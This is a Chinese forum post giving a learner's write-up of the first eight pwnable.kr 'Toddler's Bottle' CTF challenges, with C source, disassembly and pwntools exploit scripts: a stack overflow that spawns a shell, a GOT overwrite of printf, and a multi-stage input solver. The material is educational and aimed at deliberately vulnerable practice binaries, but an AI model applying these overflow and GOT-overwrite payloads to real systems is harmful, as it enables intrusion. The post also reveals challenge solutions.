吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2895|回复: 15
收起左侧

[CTF] Yirannn's pwnable入门笔记(0x01-0x08)

  [复制链接]
Y1rannn 发表于 2022-3-29 00:36

pwnable.kr Toddler's Bottle 0x08

因为又打算拓宽技术栈嘛, 这两天开了Win内核和pwn的坑, 学长推荐从pwnable.kr看起, 那就pwn它一pwn好了

52pojie上, 16年是有人写过Toddler's Bottle的, 但是就到第五题(而且有些地方不太对劲...), 这里就不删了

Toddler's Bottle

0x01. fd

image-20220328122619531.png

给了一个bin, 一个源代码, 如果输入符合条件可以catflag,  fd = argv[1]转int后-0x1234, 然后从这里read

显然我们构造一个stdin进去就好了

image-20220328122817597.png

把0x1234放para里, 然后他就从stdin读buf, buf是LETMEWIN就好了

0x02. collision

题型一样的, 这是代码

image-20220328123237485.png

扔进去20个字符, 每四个一组按int解释, 最后加和要是0x21DD09EC

一开始直接扔进去21DD09EC发现不行, 因为后面00会导致strlen长度不对

那没事, 第一个扔进去0x21DD09EC-0x01010101*4, 后面16个char全写0x1

image-20220328123714250.png

注意一下端序问题, 这个int的内存排布应该是E8 05 D9 1D

image-20220328124403060.png

0x03. bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

很显然的栈溢出

image-20220328140239291.png

从s盖到arg_0, 让arg_0是0xCAFEBABE就可以了, 0x2C+0x8

image-20220328141059029.png

大意了, 有Canary, 不过这个ret2text应该不会受canary影响, 我把52写成0x52了

from pwn import *

# proc = process('./bof')
proc = remote('pwnable.kr', 9000)
# context.log_level = 'debug'

payload = b'A' * 52 + p32(0xCAFEBABE)
proc.sendline(payload)
proc.interactive()

image-20220328151942261.png

0x04. flag

逆向题, 这是老本行啊, 64壳, 晕, 我最讨厌壳了. 进去看到这个

image-20220328152406506.png

啊, 那没事了, upx -d 一把梭

image-20220328152629000.png

没有任何难度.

0x05. passcode

void login(){
        int passcode1;
        int passcode2;
        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                system("/bin/cat flag");
        }
}
void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

只留关键函数了, 第一眼被骗了, 把338150输入上去发现段错误, 是passcode前面没有&

image-20220328153249260.png

先调用welcome后调用login, 我猜测如果对name做合适的写的话, name的值会保留在栈上, 如果我们能知道这两个函数的内存排布, 把passcode1和passcode2的值都改成它们的地址, 那scanf的时候就正确了, AT&T格式差点给我看吐了, 还是Intel好

08048564 <login>:
 8048564:       55                      push   ebp
 8048565:       89 e5                   mov    ebp,esp
 8048567:       83 ec 28                sub    esp,0x28
 804856a:       b8 70 87 04 08          mov    eax,0x8048770
 804856f:       89 04 24                mov    DWORD PTR [esp],eax
 8048572:       e8 a9 fe ff ff          call   8048420 <printf@plt>
 8048577:       b8 83 87 04 08          mov    eax,0x8048783
 804857c:       8b 55 f0                mov    edx,DWORD PTR [ebp-0x10]
 804857f:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 8048583:       89 04 24                mov    DWORD PTR [esp],eax
 8048586:       e8 15 ff ff ff          call   80484a0 <__isoc99_scanf@plt>
 804858b:       a1 2c a0 04 08          mov    eax,ds:0x804a02c
 8048590:       89 04 24                mov    DWORD PTR [esp],eax
 8048593:       e8 98 fe ff ff          call   8048430 <fflush@plt>
 8048598:       b8 86 87 04 08          mov    eax,0x8048786
 804859d:       89 04 24                mov    DWORD PTR [esp],eax
 80485a0:       e8 7b fe ff ff          call   8048420 <printf@plt>
 80485a5:       b8 83 87 04 08          mov    eax,0x8048783
 80485aa:       8b 55 f4                mov    edx,DWORD PTR [ebp-0xc]
 80485ad:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80485b1:       89 04 24                mov    DWORD PTR [esp],eax
 80485b4:       e8 e7 fe ff ff          call   80484a0 <__isoc99_scanf@plt>
 80485b9:       c7 04 24 99 87 04 08    mov    DWORD PTR [esp],0x8048799
 80485c0:       e8 8b fe ff ff          call   8048450 <puts@plt>
 80485c5:       81 7d f0 e6 28 05 00    cmp    DWORD PTR [ebp-0x10],0x528e6
 80485cc:       75 23                   jne    80485f1 <login+0x8d>
 80485ce:       81 7d f4 c9 07 cc 00    cmp    DWORD PTR [ebp-0xc],0xcc07c9
 80485d5:       75 1a                   jne    80485f1 <login+0x8d>
 80485d7:       c7 04 24 a5 87 04 08    mov    DWORD PTR [esp],0x80487a5
 80485de:       e8 6d fe ff ff          call   8048450 <puts@plt>
 80485e3:       c7 04 24 af 87 04 08    mov    DWORD PTR [esp],0x80487af
 80485ea:       e8 71 fe ff ff          call   8048460 <system@plt>
 80485ef:       c9                      leave
 80485f0:       c3                      ret
 80485f1:       c7 04 24 bd 87 04 08    mov    DWORD PTR [esp],0x80487bd
 80485f8:       e8 53 fe ff ff          call   8048450 <puts@plt>
 80485fd:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048604:       e8 77 fe ff ff          call   8048480 <exit@plt>

08048609 <welcome>:
 8048609:       55                      push   ebp
 804860a:       89 e5                   mov    ebp,esp
 804860c:       81 ec 88 00 00 00       sub    esp,0x88
 8048612:       65 a1 14 00 00 00       mov    eax,gs:0x14
 8048618:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 804861b:       31 c0                   xor    eax,eax
 804861d:       b8 cb 87 04 08          mov    eax,0x80487cb
 8048622:       89 04 24                mov    DWORD PTR [esp],eax
 8048625:       e8 f6 fd ff ff          call   8048420 <printf@plt>
 804862a:       b8 dd 87 04 08          mov    eax,0x80487dd
 804862f:       8d 55 90                lea    edx,[ebp-0x70]
 8048632:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 8048636:       89 04 24                mov    DWORD PTR [esp],eax
 8048639:       e8 62 fe ff ff          call   80484a0 <__isoc99_scanf@plt>
 804863e:       b8 e3 87 04 08          mov    eax,0x80487e3
 8048643:       8d 55 90                lea    edx,[ebp-0x70]
 8048646:       89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 804864a:       89 04 24                mov    DWORD PTR [esp],eax
 804864d:       e8 ce fd ff ff          call   8048420 <printf@plt>
 8048652:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048655:       65 33 05 14 00 00 00    xor    eax,DWORD PTR gs:0x14
 804865c:       74 05                   je     8048663 <welcome+0x5a>
 804865e:       e8 dd fd ff ff          call   8048440 <__stack_chk_fail@plt>
 8048663:       c9                      leave
 8048664:       c3                      ret

08048665 <main>:
 8048665:       55                      push   ebp
 8048666:       89 e5                   mov    ebp,esp
 8048668:       83 e4 f0                and    esp,0xfffffff0
 804866b:       83 ec 10                sub    esp,0x10
 804866e:       c7 04 24 f0 87 04 08    mov    DWORD PTR [esp],0x80487f0
 8048675:       e8 d6 fd ff ff          call   8048450 <puts@plt>
 804867a:       e8 8a ff ff ff          call   8048609 <welcome>
 804867f:       e8 e0 fe ff ff          call   8048564 <login>
 8048684:       c7 04 24 18 88 04 08    mov    DWORD PTR [esp],0x8048818
 804868b:       e8 c0 fd ff ff          call   8048450 <puts@plt>
 8048690:       b8 00 00 00 00          mov    eax,0x0
 8048695:       c9                      leave
 8048696:       c3                      ret

可以看到passcode1和2分别在ebp-0x10, ebp-0xC处, 而buf在ebp-0x70, 只能改到0xC 所以我们只能改passcode1, 但是呢, scanf到passcode1的这个操作还会是的我们又能任意地址写一次.

可能这么说让你有些凌乱, 继续看下去:

没有地址随机化这可以让我们完成这个攻击流程:

通过对name的输入把passcode1的初始值改为printf函数, -> 进入login会使得向printf这个函数的got表地址写入一个int, 我们把这个int构造到0x80485e3,

这样当调用printf的时候实际上是call 0x80485e3, 也就会直接走向system了.

构造这样的exp:

>>> from pwn import *
>>> proc = process('./passcode')
[x] Starting local process './passcode'
[+] Starting local process './passcode': pid 56911
>>> printf_got = 0x804A000
>>> sys_addr = 0x80485e3
>>> payload = 'A' * 96 + p32(printf_got)  + '\n'
>>> proc.sendline(payload)
>>> proc.recvline()
"Toddler's Secure Login System 1.0 beta.\n"
>>> proc.recvline()
'enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!\n'
>>> payload = str(sys_addr) + '\n'
>>> proc.sendline(payload)
>>> proc.recvline
<bound method process.recvline of <pwnlib.tubes.process.process object at 0x7f6ae66acf90>>
>>> proc.recvline()
  • Process './passcode' stopped with exit code 0 (pid 56911) 'Sorry mom.. I got confused about scanf usage :(\n'
  • 0x06. random

    #include <stdio.h>
    
    int main(){
            unsigned int random;
            random = rand();        // random value!
    
            unsigned int key=0;
            scanf("%d", &key);
    
            if( (key ^ random) == 0xdeadbeef ){
                    printf("Good!\n");
                    system("/bin/cat flag");
                    return 0;
            }
    
            printf("Wrong, maybe you should try 2^32 cases.\n");
            return 0;
    }

    众所周知C的随机数是伪随机, 别说用time0做种子能攻击, 这个根本不设置种子必死啊

    本地直接一个rand测试一下第一个rand是0x6b8b4567

    image-20220328231246019.png

    输入即可

    image-20220328231254456.png

    0x07. input

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    
    int main(int argc, char* argv[], char* envp[]){
            printf("Welcome to pwnable.kr\n");
            printf("Let's see if you know how to give input to program\n");
            printf("Just give me correct inputs then you will get the flag :)\n");
    
            // argv
            if(argc != 100) return 0;
            if(strcmp(argv['A'],"\x00")) return 0;
            if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
            printf("Stage 1 clear!\n");
    
            // stdio
            char buf[4];
            read(0, buf, 4);
            if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
            read(2, buf, 4);
            if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
            printf("Stage 2 clear!\n");
    
            // env
            if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
            printf("Stage 3 clear!\n");
    
            // file
            FILE* fp = fopen("\x0a", "r");
            if(!fp) return 0;
            if( fread(buf, 4, 1, fp)!=1 ) return 0;
            if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
            fclose(fp);
            printf("Stage 4 clear!\n");
    
            // network
            int sd, cd;
            struct sockaddr_in saddr, caddr;
            sd = socket(AF_INET, SOCK_STREAM, 0);
            if(sd == -1){
                    printf("socket error, tell admin\n");
                    return 0;
            }
            saddr.sin_family = AF_INET;
            saddr.sin_addr.s_addr = INADDR_ANY;
            saddr.sin_port = htons( atoi(argv['C']) );
            if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                    printf("bind error, use another port\n");
                    return 1;
            }
            listen(sd, 1);
            int c = sizeof(struct sockaddr_in);
            cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
            if(cd < 0){
                    printf("accept error, tell admin\n");
                    return 0;
            }
            if( recv(cd, buf, 4, 0) != 4 ) return 0;
            if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
            printf("Stage 5 clear!\n");
    
            // here's your flag
            system("/bin/cat flag");
            return 0;
    }

    五个阶段, 第一个阶段要求有100个para, 其中0x41为\x00, 0x42是\x20, \x0a, \x0d, 不难

    para = ['\x00'] * 100
    para[0] = './input'
    para[0x42] = '\x20\x0a\x0d'
    proc = process(para)
    proc.recvuntil('clear!\n')

    第二阶段要求向stdin和stderr分别写入两段数据

    proc=process(para, stderr=PIPE)
    proc.sendline('\x00\x0a\x00\xff')
    proc.stderr.write('\x00\x0a\x02\xff')
    proc.recvline()

    emm.. 这个stderr不让我写啊.. 换个方式

    rer, wer = os.pipe()
    os.write(wer, '\x00\x0a\x02\xff')

    顺便把env也带上

    from pwn import *
    import os
    para = ['\x00'] * 100
    para[0] = './input'
    para[0x42] = '\x20\x0a\x0d'
    rer, wer = os.pipe()
    os.write(wer, '\x00\x0a\x02\xff')
    env = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
    proc.sendline('\x00\x0a\x00\xff')
    proc.recvuntil('clear!\n')

    image-20220328234800728.png

    第四关是提供一个名字0xa的文件句柄, 让它读4个\x00, 啥也不是

    fp = open("\x0a", "wb")
    fp.write('\x00\x00\x00\x00')
    fp.close()

    image-20220328235131240.png

    额, 这是题目bug吧.. 我没权限怎么搞

    image-20220328235432198.png

    当前目录没戏了, 看看tmp

    image-20220328235542235.png

    tmp可以, 写! 不过不能读就离谱

    fp = open("/tmp/\x0a", "wb")
    fp.write('\x00\x00\x00\x00')
    fp.close()
    para[0] = '/home/input2/input'
    proc = process(para, stderr = rer, env = env, cwd="/tmp/")

    image-20220329000120086.png

    第五个阶段是socket服务端, 客户端连上来给个deadbeef, 端口是argv[0x62], 这里直接整理一个完整的exp

    from pwn import *
    import os
    para = ['\x00'] * 100
    para[0] = './input'
    para[0x42] = '\x20\x0a\x0d'
    para[0x43] = '1245'
    rer, wer = os.pipe()
    os.write(wer, '\x00\x0a\x02\xff')
    env = {'\xde\xad\xbe\xef' : "\xca\xfe\xba\xbe"}
    fp = open("/tmp/\x0a", "wb")
    fp.write('\x00\x00\x00\x00')
    fp.close()
    para[0] = '/home/input2/input'
    proc = process(para, stderr = rer, env = env, cwd="/tmp/")
    proc.sendline('\x00\x0a\x00\xff')
    proc.recvuntil('clear!\n')
    proc.recvuntil('clear!\n')
    proc.recvuntil('clear!\n')
    proc.recvuntil('clear!\n')
    s = socket.socket()
    s.connect(('localhost', 1245))
    s.send('\xde\xad\xbe\xef')
    proc.interactive()

    不对, 这还是有bug, 改工作目录之后读不到flag, 来个软链接

     ln -s /home/input2/flag /tmp/flag

    0x08. leg

    #include <stdio.h>
    #include <fcntl.h>
    int key1(){
        asm("mov r3, pc\n");
    }
    int key2(){
        asm(
        "push   {r6}\n"
        "add    r6, pc, $1\n"
        "bx r6\n"
        ".code   16\n"
        "mov    r3, pc\n"
        "add    r3, $0x4\n"
        "push   {r3}\n"
        "pop    {pc}\n"
        ".code  32\n"
        "pop    {r6}\n"
        );
    }
    int key3(){
        asm("mov r3, lr\n");
    }
    int main(){
        int key=0;
        printf("Daddy has very strong arm! : ");
        scanf("%d", &key);
        if( (key1()+key2()+key3()) == key ){
            printf("Congratz!\n");
            int fd = open("flag", O_RDONLY);
            char buf[100];
            int r = read(fd, buf, 100);
            write(0, buf, r);
        }
        else{
            printf("I have strong leg :P\n");
        }
        return 0;
    }

    key1 :

    image-20220329002221158.png

    0x8cdc+8

    image-20220329002423381.png

    太坑了...我不知道这件事

    key2 :

    image-20220329002519761.png

    r6 : 0x8cfc+0x8+0x1 = 0x8D05, bx转thumb, pc = 8d08, r3 = pc+4 = 8d0c

    image-20220329002740114.png

    返回地址, 记得再下一条

    image-20220329002813741.png

    ans = 0x8d0c + 0x8ce4 + 0x8d80 = 108400

    image-20220329003029181.png

    难度倒是不大, 但是这个arm pc的问题实在是没见过, 长见识了

    免费评分

    参与人数 5威望 +1 吾爱币 +23 热心值 +5 收起 理由
    Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
    小文fans + 1 + 1 我很赞同!
    孺子韫 + 1 + 1 我很赞同!
    1MajorTom1 + 1 我很赞同!
    为之奈何? + 1 + 1 我很赞同!

    查看全部评分

    发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

     楼主| Y1rannn 发表于 2022-3-30 14:52
    icjhao 发表于 2022-3-30 06:55
    学这个需要什么参考什么教材吗

    我没有什么参考教材, 学一点基础的操作系统知识就去CTF-wiki上看了
    头像被屏蔽
    lishufeng 发表于 2022-3-29 09:14
    海尔波普彗星 发表于 2022-3-29 09:15
    ricky2196 发表于 2022-3-29 09:19
    感谢楼主分享!收藏了
    kobeLau 发表于 2022-3-29 09:54
    谢谢分享,支持一下
    JieW_L 发表于 2022-3-29 10:03
    不是不让记笔记了
    海尔波普彗星 发表于 2022-3-29 10:15
    谢谢分享,支持一下
    sandon 发表于 2022-3-29 10:28
    支持一下!
     楼主| Y1rannn 发表于 2022-3-29 11:05
    JieW_L 发表于 2022-3-29 10:03
    不是不让记笔记了

    那改个名, 题解
    200132xp 发表于 2022-3-30 00:29
    谢谢楼主的分享
    您需要登录后才可以回帖 登录 | 注册[Register]

    本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

    快速回复 收藏帖子 返回列表 搜索

    RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

    GMT+8, 2024-5-4 14:27

    Powered by Discuz!

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表